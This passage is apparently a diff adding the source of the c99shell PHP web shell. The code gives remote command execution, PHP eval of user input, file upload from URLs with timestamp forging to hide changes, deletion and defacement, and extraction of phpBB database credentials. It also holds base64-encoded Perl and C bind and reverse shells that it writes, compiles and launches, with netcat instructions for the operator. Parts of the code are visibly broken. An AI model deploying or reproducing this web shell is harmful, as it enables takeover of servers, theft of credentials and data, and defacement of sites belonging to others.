+ if (!move_uploaded_file($uploadfile[tmp_name],$uploadpath.$destin)) {$uploadmess .= "Error uploading file ".$uploadfile[name]." (can't copy \"".$uploadfile[tmp_name]."\" to \"".$uploadpath.$destin."\"! ";}
+ }
+ elseif (!empty($uploadurl))
+ {
+ if (!empty($uploadfilename)) {$destin = $uploadfilename;}
+ else
+ {
+ $destin = explode("/",$destin);
+ $destin = $destin[count($destin)-1];
+ if (empty($destin))
+ {
+ $i = 0;
+ $b = "";
+ while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}}
+ }
+ if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "Incorect url! ";}
+ else
+ {
+ $st = getmicrotime();
+ $content = @file_get_contents($uploadurl);
+ $dt = round(getmicrotime()-$st,4);
+ if (!$content) {$uploadmess .= "Can't download file! ";}
+ else
+ {
+ if ($filestealth) {$stat = stat($uploadpath.$destin);}
+ $fp = fopen($uploadpath.$destin,"w");
+ if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."! ";}
+ else
+ {
+ fwrite($fp,$content,strlen($content));
+ fclose($fp);
+ if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);}
+ }
+ }
+ }
+ }
+ }
+ if ($miniform)
+ {
+ echo "".$uploadmess." ";
+ $act = "ls";
+ }
+ else
+ {
+ echo "File upload: ".$uploadmess."
+Select file on your local computer: or
+Input URL:
+Save this file dir:
+File-name (auto-fill):
+ convert file name to lovercase
+
+ ";
+ }
+}
+if ($act == "delete")
+{
+ $delerr = "";
+ foreach ($actbox as $v)
+ {
+ $result = false;
+ if (empty($v)) {}
+ $result = fs_rmobj($v);
+ if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)." ";}
+ if (!empty($delerr)) {echo "Deleting with errors: ".$delerr;}
+ }
+}
+if ($act == "deface")
+{
+ $deferr = "";
+ foreach ($actbox as $v)
+ {
+ $result = false;
+ if (empty($v)) {}
+ $result = fopen();
+ if (!$result) {$deferr .= "Can't delete ".htmlspecialchars($v)." ";}
+ if (!empty($delerr)) {echo "Deleting with errors: ".$deferr;}
+ }
+}
+if (!$usefsbuff)
+{
+ if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "Sorry, buffer is disabled. For enable, set directive \"USEFSBUFF\" as TRUE. ";}
+}
+else
+{
+ if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); c99_sess_put($sess_data); $act = "ls";}
+ if ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); c99_sess_put($sess_data); $act = "ls";}
+ if ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} $ls_arr = array_merge($sess_data["copy"],$sess_data["cut"]); c99_sess_put($sess_data); $act = "ls";}
+
+ if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); c99_sess_put($sess_data);}
+ elseif ($actpastebuff)
+ {
+ $psterr = "";
+ foreach($sess_data["copy"] as $k=>$v)
+ {
+ $to = $d.basename($v);
+ if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."! ";}
+ if ($copy_unset) {unset($sess_data["copy"][$k]);}
+ }
+ foreach($sess_data["cut"] as $k=>$v)
+ {
+ $to = $d.basename($v);
+ if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."! ";}
+ unset($sess_data["cut"][$k]);
+ }
+ c99_sess_put($sess_data);
+ if (!empty($psterr)) {echo "Pasting with errors: ".$psterr;}
+ }
+ elseif ($actarcbuff)
+ {
+ $arcerr = "";
+ if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";}
+ else {$ext = ".tar.gz";}
+
+ if ($ext == ".tar.gz")
+ {
+ $cmdline = "tar cfzv";
+ }
+ $objects = array_merge($sess_data["copy"],$sess_data["cut"]);
+ foreach($objects as $v)
+ {
+ $v = str_replace("\\","/",$v);
+ if (is_dir($v))
+ {
+ if (substr($v,strlen($v)-1,strlen($v)) != "/") {$v .= "/";}
+ $v .= "*";
+ }
+ $cmdline .= " ".$v;
+ }
+ $ret = `$cmdline`;
+ if (empty($ret)) {$arcerr .= "Can't call archivator! ";}
+ $ret = str_replace("\r\n","\n");
+ $ret = explode("\n",$ret);
+ if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}}
+ foreach($sess_data["cut"] as $k=>$v)
+ {
+ if (in_array($v,$ret)) {fs_rmobj($v);}
+ unset($sess_data["cut"][$k]);
+ }
+ c99_sess_put($sess_data);
+ if (!empty($arcerr)) {echo "Archivation errors: ".$arcerr;}
+ $act = "ls";
+ }
+ elseif ($actpastebuff)
+ {
+ $psterr = "";
+ foreach($sess_data["copy"] as $k=>$v)
+ {
+ $to = $d.basename($v);
+ if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."! ";}
+ if ($copy_unset) {unset($sess_data["copy"][$k]);}
+ }
+ foreach($sess_data["cut"] as $k=>$v)
+ {
+ $to = $d.basename($v);
+ if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."! ";}
+ unset($sess_data["cut"][$k]);
+ }
+ c99_sess_put($sess_data);
+ if (!empty($psterr)) {echo "Pasting with errors: ".$psterr;}
+ }
+}
+if ($act == "ls")
+{
+ if (count($ls_arr) > 0) {$list = $ls_arr;}
+ else
+ {
+ $list = array();
+ if ($h = @opendir($d))
+ {
+ while ($o = readdir($h)) {$list[] = $d.$o;}
+ closedir($h);
+ }
+ }
+ if (count($list) == 0) {echo "Can't open directory (".htmlspecialchars($d).")! ";}
+ else
+ {
+ //Building array
+ $tab = array();
+ $amount = count($ld)+count($lf);
+ $vd = "f"; //Viewing mode
+ if ($vd == "f")
+ {
+ $row = array();
+ $row[] = "Name ";
+ $row[] = "Size ";
+ $row[] = "Modify ";
+ if (!$win)
+ {$row[] = "Owner/Group ";}
+ $row[] = "Perms ";
+ $row[] = "Action ";
+
+ $k = $sort[0];
+ if ((!is_numeric($k)) or ($k > count($row)-2)) {$k = 0;}
+ if ($sort[1] == "a")
+ {
+ $y = " ";
+ }
+ else
+ {
+ $y = " ";
+ }
+
+ $row[$k] .= $y;
+ for($i=0;$i".$row[$i]."";}
+ }
+
+ $tab = array();
+ $tab[cols] = array($row);
+ $tab[head] = array();
+ $tab[dirs] = array();
+ $tab[links] = array();
+ $tab[files] = array();
+
+ foreach ($list as $v)
+ {
+ $o = basename($v);
+ $dir = dirname($v);
+
+ if ($disp_fullpath) {$disppath = $v;}
+ else {$disppath = $o;}
+ $disppath = str2mini($disppath,60);
+
+ if (in_array($v,$sess_data["cut"])) {$disppath = "".$disppath." ";}
+ elseif (in_array($v,$sess_data["copy"])) {$disppath = "".$disppath." ";}
+
+ $uo = urlencode($o);
+ $ud = urlencode($dir);
+ $uv = urlencode($v);
+
+ $row = array();
+
+ if ($o == ".")
+ {
+ $row[] = " ".$o." ";
+ $row[] = "LINK";
+ }
+ elseif ($o == "..")
+ {
+ $row[] = " ".$o." ";
+ $row[] = "LINK";
+ }
+ elseif (is_dir($v))
+ {
+ if (is_link($v)) {$disppath .= " => ".readlink($v); $type = "LINK";}
+ else {$type = "DIR";}
+ $row[] = " [".$disppath."] ";
+ $row[] = $type;
+ }
+ elseif(is_file($v))
+ {
+ $ext = explode(".",$o);
+ $c = count($ext)-1;
+ $ext = $ext[$c];
+ $ext = strtolower($ext);
+ $row[] = " ".$disppath." ";
+ $row[] = view_size(filesize($v));
+ }
+ $row[] = date("d.m.Y H:i:s",filemtime($v));
+
+ if (!$win)
+ {
+ $ow = @posix_getpwuid(fileowner($v));
+ $gr = @posix_getgrgid(filegroup($v));
+ $row[] = $ow["name"]."/".$gr["name"];
+ }
+
+ if (is_writable($v)) {$row[] = "".view_perms(fileperms($v))." ";}
+ else {$row[] = "".view_perms(fileperms($v))." ";}
+
+ if (is_dir($v)) {$row[] = " ";}
+ else {$row[] = " ";}
+
+ if (($o == ".") or ($o == "..")) {$tab[head][] = $row;}
+ elseif (is_link($v)) {$tab[links][] = $row;}
+ elseif (is_dir($v)) {$tab[dirs][] = $row;}
+ elseif (is_file($v)) {$tab[files][] = $row;}
+ }
+ }
+ $v = $sort[0];
+ function tabsort($a, $b)
+ {
+ global $v;
+ return strnatcasecmp(strip_tags($a[$v]), strip_tags($b[$v]));
+ }
+ usort($tab[dirs], "tabsort");
+ usort($tab[files], "tabsort");
+ if ($sort[1] == "a")
+ {
+ $tab[dirs] = array_reverse($tab[dirs]);
+ $tab[files] = array_reverse($tab[files]);
+ }
+ //Compiling table
+ $table = array_merge($tab[cols],$tab[head],$tab[dirs],$tab[links],$tab[files]);
+ echo "Listing directory (".count($tab[files])." files and ".(count($tab[dirs])+count($tab[links]))." directories): ";
+ echo "";
+ foreach($table as $row)
+ {
+ echo "\r\n";
+ foreach($row as $v) {echo "".$v." \r\n";}
+ echo " \r\n";
+ }
+ echo "
";
+ if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff))
+ {
+ echo " ";
+ }
+ echo "With selected: ";
+ echo "Delete ";
+ echo "Archive ";
+ if ($usefsbuff)
+ {
+ echo "Cut ";
+ echo "Copy ";
+ echo "Unselect ";
+ }
+ echo "
";
+ echo " ";
+ }
+}
+if ($act == "bind")
+{
+ $bndsrcs = array(
+"c99sh_bindport.pl"=>
+"IyEvdXNyL2Jpbi9wZXJsDQppZiAoQEFSR1YgPCAxKSB7ZXhpdCgxKTt9DQokcG9ydCA9ICRBUkdW".
+"WzBdOw0KZXhpdCBpZiBmb3JrOw0KJDAgPSAidXBkYXRlZGIiIC4gIiAiIHgxMDA7DQokU0lHe0NI".
+"TER9ID0gJ0lHTk9SRSc7DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsIFBGX0lORVQsIFNPQ0tfU1RS".
+"RUFNLCAwKTsNCnNldHNvY2tvcHQoUywgU09MX1NPQ0tFVCwgU09fUkVVU0VBRERSLCAxKTsNCmJp".
+"bmQoUywgc29ja2FkZHJfaW4oJHBvcnQsIElOQUREUl9BTlkpKTsNCmxpc3RlbihTLCA1MCk7DQph".
+"Y2NlcHQoWCxTKTsNCm9wZW4gU1RESU4sICI8JlgiOw0Kb3BlbiBTVERPVVQsICI+JlgiOw0Kb3Bl".
+"biBTVERFUlIsICI+JlgiOw0KZ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3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1".
+"Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7DQogICBleGl0".
+"KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIo".
+"ZmQsIDApOw0KIGR1cDIoZmQsIDEpOw0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwi".
+"c2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ=="
+);
+
+ $bndportsrcs = array(
+"c99sh_bindport.pl"=>array("Using PERL","perl %path %port"),
+"c99sh_bindport.c"=>array("Using C","%path %port %pass")
+);
+
+ $bcsrcs = array(
+"c99sh_backconn.pl"=>array("Using PERL","perl %path %host %port"),
+"c99sh_backconn.c"=>array("Using C","%path %host %port")
+);
+
+ if ($win) {echo "Binding port and Back connect: This functions not work in Windows! ";}
+ else
+ {
+ if (!is_array($bind)) {$bind = array();}
+ if (!is_array($bc)) {$bc = array();}
+ if (!is_numeric($bind[port])) {$bind[port] = $bindport_port;}
+ if (empty($bind[pass])) {$bind[pass] = $bindport_pass;}
+ if (empty($bc[host])) {$bc[host] = $REMOTE_ADDR;}
+ if (!is_numeric($bc[port])) {$bc[port] = $bindport_port;}
+ if (!empty($bindsubmit))
+ {
+ echo "Result of binding port: ";
+ $v = $bndportsrcs[$bind[src]];
+ if (empty($v)) {echo "Unknown file! ";}
+ elseif (fsockopen($SERVER_ADDR,$bind[port],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other! ";}
+ else
+ {
+ $srcpath = $tmpdir.$bind[src];
+ $w = explode(".",$bind[src]);
+ $ext = $w[count($w)-1];
+ unset($w[count($w)-1]);
+ $binpath = $tmpdir.join(".",$w);
+ if ($ext == "pl") {$binpath = $srcpath;}
+ @unlink($srcpath);
+ $fp = fopen($srcpath,"ab+");
+ if (!$fp) {echo "Can't write sources to \"".$srcpath."\"! ";}
+ else
+ {
+ $data = base64_decode($bndsrcs[$bind[src]]);
+ fwrite($fp,$data,strlen($data));
+ fclose($fp);
+
+ if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);}
+
+ $v[1] = str_replace("%path",$binpath,$v[1]);
+ $v[1] = str_replace("%port",$bind[port],$v[1]);
+ $v[1] = str_replace("%pass",$bind[pass],$v[1]);
+ $v[1] = str_replace("//","/",$v[1]);
+ $retbind = myshellexec($v[1]." > /dev/null &");
+ sleep(5); //Timeout
+ $sock = fsockopen("localhost",$bind[port],$errno,$errstr,5);
+ if (!$sock) {echo "I can't connect to localhost:".$bind[port]."! I think you should configure your firewall.";}
+ else {echo "Binding... ok! Connect to ".$SERVER_ADDR.":".$bind[port]." ! You should use NetCat©, run \"nc -v ".$SERVER_ADDR." ".$bind[port]." \"!View binder's process ";}
+ }
+ echo " ";
+ }
+ }
+ if (!empty($bcsubmit))
+ {
+ echo "Result of back connection: ";
+ $v = $bcsrcs[$bc[src]];
+ if (empty($v)) {echo "Unknown file! ";}
+ else
+ {
+ $srcpath = $tmpdir.$bc[src];
+ $w = explode(".",$bc[src]);
+ $ext = $w[count($w)-1];
+ unset($w[count($w)-1]);
+ $binpath = $tmpdir.join(".",$w);
+ if ($ext == "pl") {$binpath = $srcpath;}
+ @unlink($srcpath);
+ $fp = fopen($srcpath,"ab+");
+ if (!$fp) {echo "Can't write sources to \"".$srcpath."\"! ";}
+ else
+ {
+ $data = base64_decode($bndsrcs[$bind[src]]);
+ fwrite($fp,$data,strlen($data));
+ fclose($fp);
+ if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);}
+ $v[1] = str_replace("%path",$binpath,$v[1]);
+ $v[1] = str_replace("%host",$bc[host],$v[1]);
+ $v[1] = str_replace("%port",$bc[port],$v[1]);
+ $v[1] = str_replace("//","/",$v[1]);
+ $retbind = myshellexec($v[1]." > /dev/null &");
+ echo "Now script try connect to ".$bc[host].":".$bc[port]."... ";
+ }
+ }
+ }
+ ?>Binding port: Port: Password: $v) {echo "".$v[0]." ";}
+?>
+Back connection: HOST: Port: $v) {echo "".$v[0]." ";}
+?>
+Click "Connect" only after open port for it. You should use NetCat©, run "nc -l -n -v -p <port> "!Result of execution this command: ";
+ $tmp = ob_get_contents();
+ $olddir = realpath(".");
+ @chdir($d);
+ if ($tmp)
+ {
+ ob_clean();
+ myshellexec($cmd);
+ $ret = ob_get_contents();
+ $ret = convert_cyr_string($ret,"d","w");
+ ob_clean();
+ echo $tmp;
+ if ($cmd_txt)
+ {
+ $rows = count(explode("
+",$ret))+1;
+ if ($rows < 10) {$rows = 10;}
+ echo "".htmlspecialchars($ret)." ";
+ }
+ else {echo $ret;}
+ }
+ else
+ {
+ if ($cmd_txt)
+ {
+ echo "";
+ myshellexec($cmd);
+ echo " ";
+ }
+ else {echo $ret;}
+ }
+ @chdir($olddir);
+ }
+ else {echo "Execution command "; if (empty($cmd_txt)) {$cmd_txt = true;}}
+ echo "".htmlspecialchars($cmd)." Display in text-area ";
+}
+if ($act == "ps_aux")
+{
+ echo "Processes: ";
+ if ($win) {echo "This function not work in Windows! ";}
+ else
+ {
+ if ($pid)
+ {
+ if (!$sig) {$sig = 9;}
+ echo "Sending signal ".$sig." to #".$pid."... ";
+ $ret = posix_kill($pid,$sig);
+ if ($ret) {echo "ok. he is dead, amen.";}
+ else {echo "ERROR. Can't send signal ".htmlspecialchars($sig).", to process #".htmlspecialchars($pid).".";}
+ }
+ $ret = `ps -aux`;
+ if (!$ret) {echo "Can't execute \"ps -aux\"!";}
+ else
+ {
+ $ret = htmlspecialchars($ret);
+ $ret = str_replace(" "," ",$ret);
+ while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);}
+ $prcs = explode("\n",$ret);
+ $head = explode(" ",$prcs[0]);
+ $head[] = "ACTION";
+ unset($prcs[0]);
+ echo "";
+ echo "";
+ foreach ($head as $v) {echo " ".$v." ";}
+ echo " ";
+ foreach ($prcs as $line)
+ {
+ if (!empty($line))
+ {
+ echo "";
+ $line = explode(" ",$line);
+ $line[10] = join(" ",array_slice($line,10,count($line)));
+ $line = array_slice($line,0,11);
+ $line[] = "KILL ";
+ foreach ($line as $v) {echo " ".$v." ";}
+ echo " ";
+ }
+ }
+ echo "
";
+ }
+ }
+}
+if ($act == "eval")
+{
+ if (!empty($eval))
+ {
+ echo "Result of execution this PHP-code : ";
+ $tmp = ob_get_contents();
+ $olddir = realpath(".");
+ @chdir($d);
+ if ($tmp)
+ {
+ ob_clean();
+ eval($eval);
+ $ret = ob_get_contents();
+ $ret = convert_cyr_string($ret,"d","w");
+ ob_clean();
+ echo $tmp;
+ if ($eval_txt)
+ {
+ $rows = count(explode("
+",$ret))+1;
+ if ($rows < 10) {$rows = 10;}
+ echo "".htmlspecialchars($ret)." ";
+ }
+ else {echo $ret;}
+ }
+ else
+ {
+ if ($eval_txt)
+ {
+ echo "";
+ eval($eval);
+ echo " ";
+ }
+ else {echo $ret;}
+ }
+ @chdir($olddir);
+ }
+ else {echo "Execution PHP-code "; if (empty($eval_txt)) {$eval_txt = true;}}
+ echo "".htmlspecialchars($eval)." Display in text-area ";
+}
+if ($act == "f")
+{
+ $r = @file_get_contents($d.$f);
+ if (!is_readable($d.$f) and $ft != "edit")
+ {
+ if (file_exists($d.$f)) {echo "Permision denied (".htmlspecialchars($d.$f).")! ";}
+ else {echo "File does not exists (".htmlspecialchars($d.$f).")! Create ";}
+ }
+ else
+ {
+ $ext = explode(".",$f);
+ $c = count($ext)-1;
+ $ext = $ext[$c];
+ $ext = strtolower($ext);
+ $rft = "";
+ foreach($ftypes as $k=>$v)
+ {
+ if (in_array($ext,$v)) {$rft = $k; break;}
+ }
+ if (eregi("sess_(.*)",$f)) {$rft = "phpsess";}
+ if (empty($ft)) {$ft = $rft;}
+ $arr = array(
+array(" ","info"),
+array(" ","html"),
+array(" ","txt"),
+array("Code","code"),
+array("Session","phpsess"),
+array(" ","exe"),
+array("SDB","sdb"),
+array(" ","img"),
+array(" ","ini"),
+array(" ","download"),
+array(" ","notepad"),
+array(" ","edit")
+);
+ echo "Viewing file: ".$f." (".view_size(filesize($d.$f)).") ";
+ if (is_writable($d.$f)) {echo "full read/write access (".view_perms(fileperms($d.$f)).") ";}
+ else {echo "Read-Only (".view_perms(fileperms($d.$f)).") ";}
+ echo " Select action/file-type: ";
+ foreach($arr as $t)
+ {
+ if ($t[1] == $rft) {echo " ".$t[0]." ";}
+ elseif ($t[1] == $ft) {echo " ".$t[0]." ";}
+ else
+ {
+ echo " ".$t[0]." ";
+ }
+ echo " (+ ) |";
+ }
+ echo " ";
+ if ($ft == "info")
+ {
+ echo "Information: ";
+ echo "";
+ echo "Size ".view_size(filesize($d.$f))." ";
+ echo "MD5 ".md5_file($d.$f)." ";
+ if (!$win)
+ {
+ echo "Owner/Group ";
+ $tmp=posix_getpwuid(fileowner($d.$f));
+ if (!isset($tmp['name']) || $tmp['name']=="") echo fileowner($d.$f)." ";
+ else echo $tmp['name']." ";
+ $tmp=posix_getgrgid(filegroup($d.$f));
+ if (!isset($tmp['name']) || $tmp['name']=="") echo filegroup($d.$f);
+ else echo $tmp['name'];
+ }
+ echo " Perms ";
+
+ if (is_writable($d.$f))
+ {
+ echo "".view_perms(fileperms($d.$f))." ";
+ }
+ else
+ {
+ echo "".view_perms(fileperms($d.$f))." ";
+ }
+
+ echo " ";
+ echo "Create time ".date("d/m/Y H:i:s",filectime($d.$f))." ";
+ echo "Access time ".date("d/m/Y H:i:s",fileatime($d.$f))." ";
+ echo "MODIFY time ".date("d/m/Y H:i:s",filemtime($d.$f))." ";
+ echo "
";
+
+
+ $fi = fopen($d.$f,"rb");
+ if ($fi)
+ {
+ if ($fullhexdump)
+ {
+ echo "FULL HEXDUMP ";
+ $str=fread($fi,filesize($d.$f));
+ }
+ else
+ {
+ echo "HEXDUMP PREVIEW ";
+ $str=fread($fi,$hexdump_lines*$hexdump_rows);
+ }
+ $n=0;
+ $a0="00000000 ";
+ $a1="";
+ $a2="";
+ for ($i=0; $i0"; break;
+ case 32:
+ case 10:
+ case 13: $a2.=" "; break;
+ default: $a2.=htmlspecialchars($str[$i]);
+ }
+ $n++;
+ if ($n == $hexdump_rows)
+ {
+ $n = 0;
+ if ($i+1";}
+ $a1.=" ";
+ $a2.=" ";
+ }
+ }
+ //if ($a1!="") {$a0.=sprintf("%08X",$i)." ";}
+ echo " ";
+ }
+ $encoded = "";
+ if ($base64 == 1)
+ {
+ echo "Base64 Encode ";
+ $encoded = base64_encode($r);
+ }
+ elseif($base64 == 2)
+ {
+ echo "Base64 Encode + Chunk ";
+ $encoded = chunk_split(base64_encode($r));
+ }
+ elseif($base64 == 3)
+ {
+ echo "Base64 Encode + Chunk + Quotes ";
+ $encoded = base64_encode($r);
+ $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2);
+ }
+ elseif($base64 == 4)
+ {
+ }
+ if (!empty($encoded))
+ {
+ echo "".htmlspecialchars($encoded)." ";
+ }
+ echo "HEXDUMP: [Full ] [Preview ]Base64:
+ [Encode ]
+ [+chunk ]
+ [+chunk+quotes ]
+ [Decode ]
+ ";
+ }
+ elseif ($ft == "html")
+ {
+ if ($white) {@ob_clean();}
+ echo $r;
+ if ($white) {exit;}
+ }
+ elseif ($ft == "txt")
+ {
+ echo "
".htmlspecialchars($r)." ";
+ }
+ elseif ($ft == "ini")
+ {
+ echo "";
+ var_dump(parse_ini_file($d.$f,true));
+ echo " ";
+ }
+ elseif ($ft == "phpsess")
+ {
+ echo "";
+ $v = explode("|",$r);
+ echo $v[0]." ";
+ var_dump(unserialize($v[1]));
+ echo " ";
+ }
+ elseif ($ft == "exe")
+ {
+ echo " ";
+ }
+ elseif ($ft == "sdb")
+ {
+ echo "";
+ var_dump(unserialize(base64_decode($r)));
+ echo " ";
+ }
+ elseif ($ft == "code")
+ {
+ if (ereg("phpBB 2.(.*) auto-generated config file",$r))
+ {
+ $arr = explode("
+",$r);
+ if (count($arr == 18))
+ {
+ include($d.$f);
+ echo "phpBB configuration is detected in this file! ";
+ if ($dbms == "mysql4") {$dbms = "mysql";}
+ if ($dbms == "mysql") {echo "Connect to DB ";}
+ else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by c99shell";}
+ echo "Parameters for manual connect: ";
+ $cfgvars = array(
+ "dbms"=>$dbms,
+ "dbhost"=>$dbhost,
+ "dbname"=>$dbname,
+ "dbuser"=>$dbuser,
+ "dbpasswd"=>$dbpasswd
+ );
+ foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."' ";}
+
+ echo " ";
+ echo " ";
+ }
+ }
+ echo "";
+ if (!empty($white)) {@ob_clean();}
+ if ($rehtml) {$r = rehtmlspecialchars($r);}
+ $r = stripslashes($r);
+ $strip = false;
+ if(!strpos($r,"") && substr($r,0,2)!="") {$r=""; $r = trim($r); $strip = true;}
+ $r = @highlight_string($r, TRUE);
+ if ($delspace) {$buffer = str_replace (" ", " ", $r);}
+ echo $r;
+ if (!empty($white)) {exit;}
+ echo "
";
+ }
+ elseif ($ft == "download")
+ {
+ @ob_clean();
+ header("Content-type: c99shell");
+ header("Content-disposition: attachment; filename=\"".$f."\";");
+ echo($r);
+ exit;
+ }
+ elseif ($ft == "notepad")
+ {
+ @ob_clean();
+ header("Content-type: text/plain");
+ header("Content-disposition: attachment; filename=\"".$f.".txt\";");
+ echo($r);
+ exit;
+ }
+ elseif ($ft == "img")
+ {
+ if (!$white)
+ {
+ echo " ";
+ }
+ else
+ {
+ @ob_clean();
+ $ext = explode($f,".");
+ $ext = $ext[count($ext)-1];
+ header("Content-type: image/gif");
+ echo($r);
+ exit;
+ }
+ }
+ elseif ($ft == "edit")
+ {
+ if (!empty($submit))
+ {
+ if ($filestealth) {$stat = stat($d.$f);}
+ $fp = fopen($d.$f,"w");
+ if (!$fp) {echo "Can't write to file! ";}
+ else
+ {
+ echo "Saved! ";
+ fwrite($fp,$nfcontent);
+ fclose($fp);
+ if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);}
+ $r = $nfcontent;
+ }
+ }
+ $rows = count(explode("
+",$r));
+ if ($rows < 10) {$rows = 10;}
+ if ($rows > 30) {$rows = 30;}
+ echo " ".htmlspecialchars($r)." ";
+ }
+ elseif (!empty($ft)) {echo "Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS. ";}
+ else {echo "Unknown extension (".$ext."), please, select type manually. ";}
+ }
+}
+if ($act == "phpinfo")
+{
+ ob_end_clean();
+ phpinfo();
+ exit;
+}
+} $data = base64_decode("PGNlbnRlcj48Yj5DcmVkaXRzOjxicj5JZGVhIGFuZCBjb2RpbmcgYnkgdHJpc3RyYW1bQ0NUZWFNXS48YnI+QmV0YS10ZXN0aW5nIGFuZCBzb21lIHRpcHMgLSBOdWtMZW9OIFtBblRpU2hAUmUgdEVhTV0uPC9iPjwvY2VudGVyPiDA4vLu8CDi+/Dg5uDl8iDh6+Dj7uTg8O3u8fL8IO7k7e7s8yDv8O7i8yDq7vLu8PvpIO7y6uv+9+jrIOXj7iDt4CDs5fH/9iDu8iDo7eXy4Cwg5OXr7iDh++vuIOLl9+Xw7uwg6CDk5evg8vwg4fvr7iDt5ffl4+4gOykgz+7k8u7r6u3z6+Ag6iDt4O/o8eDt6P4g8erz6uAg6CDs7v8g7/Do8O7k7eD/IOvl7fwgOik8Y2VudGVyPjxiPs/w4OLo6+A8L2I+OjwvY2VudGVyPiA8Yj7C+yDs7ubl8uUg6Ofs5e3/8vwg7/Du4/Dg7OzzIO/uIMLg+OXs8yDz8ezu8vDl7ej+LCDs5e3/8vwg7eDx8vDu6eroLCDk6Ofg6e0uLi4g7e4g5fHr6CDC+ywg8+Lg5uDl7PvpLCDz5". "ODr6PLlIOjr6CDy5ewg4e7r5eUg6Ofs5e3o8uUg6u7v6PDg6fL7LCDy7iD/IOHz5PMg4vvt8+bk5e0g7vLu8OLg8vwg4uDsIP/p9uAuIDwvYj48YnI+wOLy7vAg7eUg7eXxuPIg7vLi5fLx8uLl7e3u8fLoIOfgIOLu5+zu5u376SDi8OXkIO3g7eXt5e376SD98u7pIO/w7uPw4Ozs7uksIPIu6i4g7u3gIO/w5eTu8fLg4uvl7eAg8u7r/OruIOTr/yDu5+3g6u7s6+Xt6P8u");
+if ($act == "img")
+{
+ @ob_clean();
+
+ $arrimg = array(
+"arrow_ltr"=>
+"R0lGODlhJgAWAIAAAAAAAP///yH5BAUUAAEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQ".
+"SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==",
+"back"=>
+"R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
+"aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt".
+"Wg0JADs=",
+"buffer"=>
+"R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo".
+"eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD".
+"Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==",
+"change"=>
+"R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+".
+"/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA".
+"AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC".
+"wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJ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edit"=>
+"R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA".
+"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze".
+"EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61".
+"LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==",
+"forward"=>
+"R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
